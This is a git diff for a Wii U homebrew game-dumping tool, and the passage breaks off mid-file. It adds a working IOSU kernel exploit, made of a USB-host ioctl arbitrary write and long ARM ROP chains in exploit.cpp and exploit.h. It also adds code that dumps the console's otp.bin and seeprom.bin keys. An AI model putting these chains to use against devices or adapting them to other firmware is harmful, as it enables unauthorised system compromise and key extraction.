diff --git a/.gitignore b/.gitignore index 9068f4d..8b8778f 100644 --- a/.gitignore +++ b/.gitignore @@ -40,4 +40,24 @@ /build /dist dumpling.rpx -dumpling.elf \ No newline at end of file +dumpling.elf + +source/cfw/ios_kernel/ios_kernel.bin +source/cfw/ios_kernel/ios_kernel.elf +source/cfw/ios_kernel/ios_kernel.s +source/cfw/ios_kernel/ios_kernel.h + +source/cfw/ios_mcp/ios_mcp.bin +source/cfw/ios_mcp/ios_mcp.elf +source/cfw/ios_mcp/ios_mcp.s +source/cfw/ios_mcp/ios_mcp.h + +source/cfw/ios_odm/ios_odm.bin +source/cfw/ios_odm/ios_odm.elf +source/cfw/ios_odm/ios_odm.s +source/cfw/ios_odm/ios_odm.h + +source/cfw/ios_usb/ios_usb.bin +source/cfw/ios_usb/ios_usb.elf +source/cfw/ios_usb/ios_usb.s +source/cfw/ios_usb/ios_usb.h diff --git a/Makefile b/Makefile index e2b9b9b..0d096dc 100644 --- a/Makefile +++ b/Makefile @@ -19,14 +19,14 @@ include $(DEVKITPRO)/wut/share/wut_rules #------------------------------------------------------------------------------- TARGET := dumpling BUILD := build -SOURCES := source +SOURCES := source/app DATA := data INCLUDES := include #------------------------------------------------------------------------------- # options for code generation #------------------------------------------------------------------------------- -CFLAGS := -g -Wall -Os -O2 -ffunction-sections \ +CFLAGS := -g -Wall -Os -O2 -ffunction-sections -Wno-narrowing \ $(MACHDEP) CFLAGS += $(INCLUDE) -D__WIIU__ -D__WUT__ -D__wiiu__ @@ -36,7 +36,7 @@ CXXFLAGS := $(CFLAGS) -std=c++20 ASFLAGS := -g $(ARCH) LDFLAGS = -g $(ARCH) $(RPXSPECS) -Wl,-Map,$(notdir $*.map) -LIBS := -lfat -lstdc++ -lwut -liosuhax +LIBS := -lstdc++ -lwut -lfat -liosuhax #------------------------------------------------------------------------------- # list of directories containing libraries, this must be the top level @@ -97,12 +97,20 @@ all: $(BUILD) $(BUILD): @[ -d $@ ] || mkdir -p $@ + @$(MAKE) --no-print-directory -C $(CURDIR)/source/cfw/ios_usb -f $(CURDIR)/source/cfw/ios_usb/Makefile + @$(MAKE) --no-print-directory -C $(CURDIR)/source/cfw/ios_odm -f $(CURDIR)/source/cfw/ios_odm/Makefile + @$(MAKE) --no-print-directory -C $(CURDIR)/source/cfw/ios_mcp -f $(CURDIR)/source/cfw/ios_mcp/Makefile + @$(MAKE) --no-print-directory -C $(CURDIR)/source/cfw/ios_kernel -f $(CURDIR)/source/cfw/ios_kernel/Makefile @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile #------------------------------------------------------------------------------- clean: - @echo clean ... + @echo Clean files from app... @rm -fr $(BUILD) $(TARGET).rpx $(TARGET).elf + @$(MAKE) clean --no-print-directory -C $(CURDIR)/source/cfw/ios_kernel -f $(CURDIR)/source/cfw/ios_kernel/Makefile + @$(MAKE) clean --no-print-directory -C $(CURDIR)/source/cfw/ios_mcp -f $(CURDIR)/source/cfw/ios_mcp/Makefile + @$(MAKE) clean --no-print-directory -C $(CURDIR)/source/cfw/ios_odm -f $(CURDIR)/source/cfw/ios_odm/Makefile + @$(MAKE) clean --no-print-directory -C $(CURDIR)/source/cfw/ios_usb -f $(CURDIR)/source/cfw/ios_usb/Makefile #------------------------------------------------------------------------------- dist: diff --git a/README.md b/README.md index e2ebc39..6a93280 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,10 @@ Use the Wii U App Store to download and install it in the homebrew launcher. See **Method 2:** Download the [latest release from Github](https://github.com/emiyl/dumpling/releases), and extract the `dumpling.zip` file to the root of your SD card. -Using it is as simple as running Mocha or Haxchi and launching Dumpling in the homebrew launcher. +## How to use +Using it just requires you to open up the homebrew launcher and launch the app. No Mocha or Haxchi required! + +For an always up-to-date guide to dump your games for Cemu using Dumpling, see [cemu.cfw.guide](https://cemu.cfw.guide/dumping-games)! It also goes through the steps of installing and running homebrew and Dumpling for the first time! ## How to compile @@ -28,17 +31,17 @@ Using it is as simple as running Mocha or Haxchi and launching Dumpling in the h ## Features - Dumps everything related to your games! Game, updates, DLC and saves are all dumpable! -- Dumps both disc and digital games in an extracted format, making for easy modding. +- Dumps both disc and digital games in an extracted format, making for easy modding and usage with Cemu. - Creates 1:1 copies of data with proper meta data. - Allows dumping to an SD or USB stick/drive (must be formatted as fat32). - Allows you to dump system applications too. -- Quickly dump files required for online dumping -- Feature to quickly dump all the files needed for Cemu online play - - You must dump `otp.bin` and `seeprom.bin` separately with [wiiu-nanddumper](https://github.com/koolkdev/wiiu-nanddumper) (for now!) -- Feature to quickly dump compatibility files which can be used to improve graphics and game compatibillity in Cemu. +- Feature to quickly dump everything needed to play online with Cemu, including the otp.bin and seeprom.bin! +- Also dumps extra compatibility files for Cemu when dumping online files. - Has features to dump the base game files, update files and DLC files separately. ## Credits - [Crementif](https://github.com/Crementif) for [dumpling-rework](https://github.com/emiyl/dumpling) - [emiyl](https://github.com/emiyl) for [dumpling-classic](https://github.com/emiyl/dumpling-classic) - chrissie for testing +- FIX94, Maschell and Quarky for making and maintaining homebrew (libraries) +- smea, plutoo, yellows8, naehrwert, derrek, dimok and kanye_west for help making exploits and CFW possible \ No newline at end of file diff --git a/source/common.h b/source/app/common.h similarity index 92% rename from source/common.h rename to source/app/common.h index be35c24..001869c 100644 --- a/source/common.h +++ b/source/app/common.h @@ -1,15 +1,25 @@ #pragma once +#include #include #include #include +#include +#include +#include +#include +#include +#include #include #include #include -#include #include #include +#include +#include +#include +#include #include #include #include @@ -19,9 +29,6 @@ #include #include #include -#include -#include -#include // Enums and Structs diff --git a/source/dumping.cpp b/source/app/dumping.cpp similarity index 81% rename from source/dumping.cpp rename to source/app/dumping.cpp index 97427df..cbbbac6 100644 --- a/source/dumping.cpp +++ b/source/app/dumping.cpp @@ -5,19 +5,26 @@ #include "navigation.h" #include "titles.h" #include "users.h" +#include "iosuhax.h" // Dumping Functions #define BUFFER_SIZE_ALIGNMENT 64 #define BUFFER_SIZE (1024 * BUFFER_SIZE_ALIGNMENT) -bool copyFile(const char* filename, std::string srcPath, std::string destPath) { +bool copyFile(const char* filename, std::string srcPath, std::string destPath, uint64_t* totalBytes) { // Check if file is an actual file first struct stat fileStat; if (stat(srcPath.c_str(), &fileStat) == -1 || !S_ISREG(fileStat.st_mode)) { return true; } + // If totalBytes is set, it's just a file size scan + if (totalBytes != nullptr) { + *totalBytes += fileStat.st_size; + return true; + } + // Allocate buffer to copy bytes between uint8_t* copyBuffer = (uint8_t*)aligned_alloc(BUFFER_SIZE_ALIGNMENT, BUFFER_SIZE); if (copyBuffer == NULL) { @@ -91,19 +98,10 @@ bool copyFolder(std::string srcPath, std::string destPath, uint64_t* totalBytes) struct dirent *dirEntry; while((dirEntry = readdir(dirHandle)) != NULL) { if (dirEntry->d_type == DT_REG) { - if (totalBytes != nullptr) { - // Get the amount of bytes for each file - struct stat fileStat; - if (stat(std::string(srcPath+"/"+dirEntry->d_name).c_str(), &fileStat) == 0 && S_ISREG(fileStat.st_mode)) { - *totalBytes += fileStat.st_size; - } - } - else { - // Copy file - if (!copyFile(dirEntry->d_name, srcPath+"/"+dirEntry->d_name, destPath+"/"+dirEntry->d_name)) { - closedir(dirHandle); - return false; - } + // Copy file + if (!copyFile(dirEntry->d_name, srcPath+"/"+dirEntry->d_name, destPath+"/"+dirEntry->d_name, totalBytes)) { + closedir(dirHandle); + return false; } } else if (dirEntry->d_type == DT_DIR) { @@ -230,24 +228,7 @@ void dumpMLC() { bool dumpDisc() { // Loop until a disk is found - std::vector> queue; - while(queue.empty()) { - mountDisc(); - // Reload titles - if (!loadTitles(false)) { - showDialogPrompt("A fatal error occured while trying to check for game discs!", "OK"); - showDialogPrompt("Dumpling will now forcefully be closed...", "OK"); - return false; - } - - // Check if there's a disc title - for (auto& title : installedTitles) { - if (title.hasBase && title.base.location == titleLocation::Disc) { - queue.emplace_back(std::ref(title)); - break; - } - } - + while(!isDiscInserted()) { // Print menu clearScreen(); WHBLogPrint("Looking for a game disc..."); @@ -256,12 +237,33 @@ bool dumpDisc() { WHBLogPrint("==============================="); WHBLogPrint("B Button = Back to Main Menu"); WHBLogConsoleDraw(); - OSSleepTicks(OSMillisecondsToTicks(20)); + OSSleepTicks(OSSecondsToTicks(2)); updateInputs(); - if (pressedBack()) { - unmountDisc(); - return true; + if (pressedBack()) return true; + } + + // Disable iosuhax to perform getting the titles, which uses the currently hooked MCP + closeIosuhax(); + OSSleepTicks(OSSecondsToTicks(2)); + + clearScreen(); + WHBLogPrint("Reloading games list:"); + WHBLogPrint(""); + WHBLogConsoleDraw(); + if (!(getTitles() && openIosuhax() && mountDisc() && loadTitles(false))) { + showDialogPrompt("Fatal error while reloading titles!\nExiting Dumpling instantly...", "OK"); + unmountDisc(); + return false; + } + + // Make a queue from game disc + + std::vector> queue; + for (auto& title : installedTitles) { + if (title.hasBase && title.base.location == titleLocation::Disc) { + queue.emplace_back(std::ref(title)); + break; } } @@ -308,23 +310,14 @@ void dumpOnlineFiles() { queue.emplace_back(std::ref(scertsEntry)); queue.emplace_back(std::ref(accountsEntry)); - if (!dumpQueue(queue, onlineConfig)) showDialogPrompt("Failed to dump the online files...", "OK"); - else showDialogPrompt("Successfully dumped all of the online files!", "OK"); -} - -void dumpCompatibilityFiles() { - std::vector> queue; - dumpingConfig compatConfig = {.dumpTypes = (dumpTypeFlags::CUSTOM)}; - titleEntry miiEntry{.shortTitle = "Mii Files", .hasBase = true, .base = {.path = "storage_mlc01:/sys/title/0005001b/10056000/content", .outputPath = "/Compatibility Files/mlc01/sys/title/0005001b/10056000/content"}}; - titleEntry keyboardEntry{.shortTitle = "Keyboard Files", .hasBase = true, .base = {.path = "storage_mlc01:/sys/title/0005001b/1004f000", .outputPath = "/Compatibility Files/mlc01/sys/title/0005001b/1004f000"}}; - titleEntry rplEntry{.shortTitle = "RPL Files", .hasBase = true, .base = {.path = "storage_mlc01:/sys/title/00050010/1000400a", .outputPath = "/Compatibility Files/mlc01/sys/title/00050010/1000400a"}}; + std::ofstream otpFile(getRootFromLocation(onlineConfig.location)+"/dumpling/Online Files/otp.bin", std::ofstream::out | std::ofstream::binary); + std::ofstream seepromFile(getRootFromLocation(onlineConfig.location)+"/dumpling/Online Files/seeprom.bin", std::ofstream::out | std::ofstream::binary); - if (!showOptionMenu(compatConfig, false)) return; - - queue.emplace_back(std::ref(miiEntry)); - queue.emplace_back(std::ref(keyboardEntry)); - queue.emplace_back(std::ref(rplEntry)); - - if (!dumpQueue(queue, compatConfig)) showDialogPrompt("Failed to dump the compatibility files...", "OK"); - else showDialogPrompt("Successfully dumped all of the compatibility files!", "OK"); -} + if (!dumpQueue(queue, onlineConfig) || otpFile.fail() || seepromFile.fail()) { + showDialogPrompt("Failed to dump the online files...", "OK"); + return; + } + otpFile.write((char*)0xF5E10400, 1024); + seepromFile.write((char*)0xF5E10400+1024, 512); + showDialogPrompt("Successfully dumped all of the online files!", "OK"); +} \ No newline at end of file diff --git a/source/dumping.h b/source/app/dumping.h similarity index 85% rename from source/dumping.h rename to source/app/dumping.h index bc9612f..86cc1b3 100644 --- a/source/dumping.h +++ b/source/app/dumping.h @@ -4,4 +4,4 @@ bool dumpQueue(std::vector>& queue, dumpingCo bool dumpDisc(); void dumpMLC(); void dumpOnlineFiles(); -void dumpCompatibilityFiles(); \ No newline at end of file +void dumpAmiibo(); \ No newline at end of file diff --git a/source/app/exploit.cpp b/source/app/exploit.cpp new file mode 100644 index 0000000..954dd51 --- /dev/null +++ b/source/app/exploit.cpp @@ -0,0 +1,78 @@ +#include "exploit.h" + +static IOSHandle exploitHandle = -1; + +static int32_t* firstChain = (int32_t*)0xF5E00000; +static int8_t* secondChain = (int8_t*)0xF5E20000; +static int8_t* thirdChain = (int8_t*)0xF5E30000; +static int32_t* pretendRootHub = (int32_t*)0xF5E60640; + + +int uhsWrite32(int32_t physicalAddr, int32_t value) { + // Put address in first chain which is referenced in the pretend root hub + firstChain[520] = physicalAddr - 24; // Address that needs to be written to, minus 24 bytes + DCStoreRange(firstChain, 0x840); // Flush current CPU cache so that we're sure that IOSU can read it + OSSleepTicks(0x200000); // Improve stability by waiting for caches to refresh + + // Use pretendRootHub with a negative index (0 being at 0x10149A6C) to write values that come before the IOSU USB module + // Each index is 0x144 bytes long, so the pretend root hub needs to be at the exact end of that address: 0x10149A6C + (0x144*-0xB349B) = 0x01E60640. + // 0x01E60640's physical address is 0xF5E60640, which is free to manipulate since it's in MEM1 memory. + int32_t messageBuffer[] = {-0xB349B, value}; + int32_t replyBuffer[32]; + return IOS_Ioctl(exploitHandle, 0x15, messageBuffer, sizeof(messageBuffer), replyBuffer, sizeof(replyBuffer)); +} + + +void setupExploit() { + // Clear out memory used for the exploit + memset(firstChain, 0, 0x00070000); + DCStoreRange(firstChain, 0x00070000); + + firstChain[5] = 1; + firstChain[8] = 0x01E00000; + + memcpy(secondChain, secondChainBin, sizeof(secondChainBin)); + memcpy(thirdChain, thirdChainBin, sizeof(thirdChainBin)); + memcpy((char*)(0xF5E40000), ios_kernel_bin, sizeof(ios_kernel_bin)); + memcpy((char*)(0xF5E50000), ios_usb_bin, sizeof(ios_usb_bin)); + *(volatile unsigned int*)0xF5E70000 = sizeof(ios_mcp_bin); + memcpy((char*)(0xF5E70020), ios_mcp_bin, sizeof(ios_mcp_bin)); + + pretendRootHub[33] = 0x01E00000; + pretendRootHub[78] = 0; + + //! Store current CPU cache into main memory for IOSU to read + DCStoreRange(firstChain, 0x840); + DCStoreRange(secondChain, sizeof(secondChainBin)); + DCStoreRange(thirdChain, sizeof(thirdChainBin)); + DCStoreRange((void*)0xF5E40000, sizeof(ios_kernel_bin)); + DCStoreRange((void*)0xF5E50000, sizeof(ios_usb_bin)); + DCStoreRange((void*)0xF5E70000, sizeof(ios_mcp_bin) + 0x40); + + DCStoreRange(pretendRootHub, 0x160); +} + + +bool executeExploit() { + WHBLogPrint("Executing exploit..."); + WHBLogConsoleDraw(); + + exploitHandle = IOS_Open("/dev/uhs/0", IOSOpenMode::IOS_OPEN_READ); + if (exploitHandle < IOS_ERROR_OK) { + WHBLogPrintf("Can't initialize /dev/uhs/0! Error: %ld", exploitHandle); + IOS_Close(exploitHandle); + return false; + } + + // Setup other chains and payloads + setupExploit(); + + // Setup the first chain that'll lead to the second chain + uhsWrite32(CHAIN_START+0x14, CHAIN_START + 0x14 + 0x4 + 0x20); + uhsWrite32(CHAIN_START+0x10, 0x1011814C); + uhsWrite32(CHAIN_START+0x0C, SOURCE); + uhsWrite32(CHAIN_START+0x00, 0x1012392b); // pop {R4-R6,PC} + + IOS_Close(exploitHandle); + return true; +} \ No newline at end of file diff --git a/source/app/exploit.h b/source/app/exploit.h new file mode 100644 index 0000000..009127a --- /dev/null +++ b/source/app/exploit.h @@ -0,0 +1,281 @@ +#include "common.h" + +// Payload Binaries +#include "../cfw/ios_kernel/ios_kernel.h" +#include "../cfw/ios_mcp/ios_mcp.h" +#include "../cfw/ios_odm/ios_odm.h" +#include "../cfw/ios_usb/ios_usb.h" + +#define CHAIN_START 0x1016AD40 +#define SOURCE 0x01E20000 +#define KERNEL_CODE_START 0x08134100 +#define IOS_CREATETHREAD 0x1012EABC +#define REPLACE_SYSCALL 0x081298BC + +static const int32_t thirdChainBin[] = { + 0x101236f3, // 0x00 POP {R1-R7,PC} + 0x0, // 0x04 arg + 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR + 0x68, // 0x0C stacksize + 0x10101638, // 0x10 + 0x0, // 0x14 + 0x0, // 0x18 + 0x0, // 0x1C + 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x30 + 0x0, // 0x34 + IOS_CREATETHREAD, // 0x38 + 0x1, // 0x3C + 0x2, // 0x40 + 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE92D4010, // 0x4C value: PUSH {R4,LR} + 0x0, // 0x50 + 0x10123a8b, // 0x54 POP {R3,R4,PC} + 0x1, // 0x58 R3 must be 1 for the arbitrary write + 0x0, // 0x5C + 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x64 + 0x0, // 0x68 + 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) + 0x0, // 0x70 + 0x0, // 0x74 + 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A04000, // 0x80 value: MOV R4, R0 + 0x0, // 0x84 + 0x10123a8b, // 0x88 POP {R3,R4,PC} + 0x1, // 0x8C R3 must be 1 for the arbitrary write + 0x0, // 0x90 + 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x98 + 0x0, // 0x9C + 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) + 0x0, // 0xA4 + 0x0, // 0xA8 + 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF + 0x0, // 0xB8 + 0x10123a8b, // 0xBC POP {R3,R4,PC} + 0x1, // 0xC0 R3 must be 1 for the arbitrary write + 0x0, // 0xC4 + 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0xCC + 0x0, // 0xD0 + 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) + 0x0, // 0xD8 + 0x0, // 0xDC + 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) + 0x0, // 0xEC + 0x10123a8b, // 0xF0 POP {R3,R4,PC} + 0x1, // 0xF4 R3 must be 1 for the arbitrary write + 0x0, // 0xF8 + 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x100 + 0x0, // 0x104 + 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) + 0x0, // 0x10C + 0x0, // 0x110 + 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A00004, // 0x11C value: MOV R0, R4 + 0x0, // 0x120 + 0x10123a8b, // 0x124 POP {R3,R4,PC} + 0x1, // 0x128 R3 must be 1 for the arbitrary write + 0x0, // 0x12C + 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x134 + 0x0, // 0x138 + 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) + 0x0, // 0x140 + 0x0, // 0x144 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x00000000, // 0x150 value: NOP + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x1AFFFFFD, // 0x150 value: BNE clean_loop + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A03004, // 0x184 value: MOV R3, R4 + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE8BD4010, // 0x184 value: POP {R4,LR} + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) + 0x0, // 0x1BC + 0x10123a8b, // 0x1C0 POP {R3,R4,PC} + 0x1, // 0x1C4 R3 must be 1 for the arbitrary write + 0x0, // 0x1C8 + 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x1D0 + 0x0, // 0x1D4 + 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 + 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches + 0x0, // 0x1E0 + 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + KERNEL_CODE_START, // 0x1E8 our code destination address + 0x0, // 0x1EC + 0x0, // 0x1F0 + 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} + 0x0, // 0x1F8 + sizeof(ios_kernel_bin), // 0x1FC our code size + 0x0, // 0x200 + 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} + 0x01E40000, // 0x208 our code source location + 0x08131D04, // 0x20C KERNEL_MEMCPY address + 0x0, // 0x210 + 0x0, // 0x214 + 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) + 0x0, + 0x0, + 0x101312D0 +}; + +static const int32_t secondChainBin[] = { + 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} + CHAIN_START+0x14+0x4+0x20-0xF000, // 0x04 destination + 0x0, // 0x08 + 0x0, // 0x0C + 0x101063db, // 0x10 POP {R1,R2,R5,PC} + 0x01E30000, // 0x14 source + sizeof(thirdChainBin), // 0x18 length + 0x0, // 0x1C + 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x101236f3, // 0x2C POP {R1-R7,PC} + 0x0, // 0x30 arg + 0x101001DC, // 0x34 stackptr + 0x68, // 0x38 stacksize + 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x40 + 0x0, // 0x44 + 0x0, // 0x48 + 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x50 + 0x0, // 0x54 + 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x5C + 0x0, // 0x60 + IOS_CREATETHREAD, // 0x64 + 0x1, // 0x68 priority + 0x2, // 0x6C flags + 0x0, // 0x70 + 0x0, // 0x74 + 0x101063db, // 0x78 POP {R1,R2,R5,PC} + 0x0, // 0x7C + -(0x240 + 0x18 + 0xF000), // 0x80 stack offset + 0x0, // 0x84 + 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} + 0x0, + 0x0, + 0x0, + 0x00110000 - 0x44, // 0x8C + 0x00110010, // 0x90 + 0x0, // 0x94 + 0x0, // 0x98 + 0x0, // 0x9C + 0x0, // 0xA0 + 0x0, // 0xA4 + 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack + 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} + 0x0, + 0x0, + 0x1012EA68 // 0xAC stack pivot +}; + +bool executeExploit(); diff --git a/source/filesystem.cpp b/source/app/filesystem.cpp similarity index 78% rename from source/filesystem.cpp rename to source/app/filesystem.cpp index f82066c..a685613 100644 --- a/source/filesystem.cpp +++ b/source/app/filesystem.cpp @@ -8,27 +8,39 @@ #include "iosuhax.h" -bool mlcMounted = false; -bool usbMounted = false; +bool systemMLCMounted = false; +bool systemUSBMounted = false; bool discMounted = false; -bool sdfatMounted = false; -bool usbfatMounted = false; - -bool mountDevices() { - // Mount internal storage devices - if (mount_fs("storage_mlc01", getFSAHandle(), NULL, "/vol/storage_mlc01") == 0) mlcMounted = true; - if (mount_fs("storage_usb01", getFSAHandle(), NULL, "/vol/storage_usb01") == 0) usbMounted = true; - // Mount SD card and USB using libfat - if (fatMountSimple("sdfat", &IOSUHAX_sdio_disc_interface)) sdfatMounted = true; - if (fatMountSimple("usbfat", &IOSUHAX_usb_disc_interface)) usbfatMounted = true; - //WHBLogPrintf("SD MOUNTED: %d", sdfatMounted); - //WHBLogPrintf("USB MOUNTED: %d", usbfatMounted); - //WHBLogConsoleDraw(); - //OSSleepTicks(OSMillisecondsToTicks(2000)); - return mlcMounted && sdfatMounted; // Require both the NAND and SD card to be mounted +bool SDMounted = false; +bool USBMounted = false; + +int32_t sdHandle = 0; + +bool mountSystemDrives() { + if (mount_fs("storage_mlc01", getFSAHandle(), NULL, "/vol/storage_mlc01") == 0) systemMLCMounted = true; + if (mount_fs("storage_usb01", getFSAHandle(), NULL, "/vol/storage_usb01") == 0) systemUSBMounted = true; + if (systemMLCMounted) WHBLogPrint("Successfully mounted the internal Wii U storage!"); + if (systemUSBMounted) WHBLogPrint("Successfully mounted the external Wii U storage!"); + WHBLogConsoleDraw(); + return systemMLCMounted; // Require only the MLC to be mounted for this function to be successful +} + +bool mountSD() { + if (fatMountSimple("sdfat", 